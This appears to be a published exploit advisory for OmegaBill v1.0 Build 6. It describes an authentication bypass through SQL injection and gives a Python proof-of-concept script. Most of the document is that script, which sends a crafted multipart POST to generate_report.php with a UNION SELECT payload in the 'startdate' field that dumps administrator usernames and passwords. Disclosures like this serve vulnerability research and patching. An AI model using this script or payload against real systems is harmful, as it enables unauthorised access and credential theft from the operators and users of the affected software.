OmegaBill version 1.0 Build 6 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
e353289884695b576bab4d32d9efdfdeb9b16c82b0f86554452d4fdf632ac9bd
# ------------------------------------------------------------------------
# Software................OmegaBill v1.0 Build 6
# Vulnerability...........Authentication Bypass/SQL Injection
# Download................https://sourceforge.net/projects/omegabill/
# Release Date............2/11/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................https://www.autosectools.com/
# ------------------------------------------------------------------------
#
# --Description--
#
# An authentication bypass/SQL injection vulnerability in OmegaBill v1.0
# Build 6 can be exploited to retreive a list of usernames and passwords.
#
#
# --PoC--
import socket
host = 'localhost'
path = '/omegabill_v1.0_build6'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send('POST ' + path + '/generate_report.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 239\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="startdate"\r\n'
'\r\n'
'\'OR 1 = 1 UNION ALL SELECT CONCAT(username,\':\',password),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM admins;#\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="enddate"\r\n'
'\r\n'
'\r\n'
'------x--\r\n'
'\r\n')
print s.recv(8192)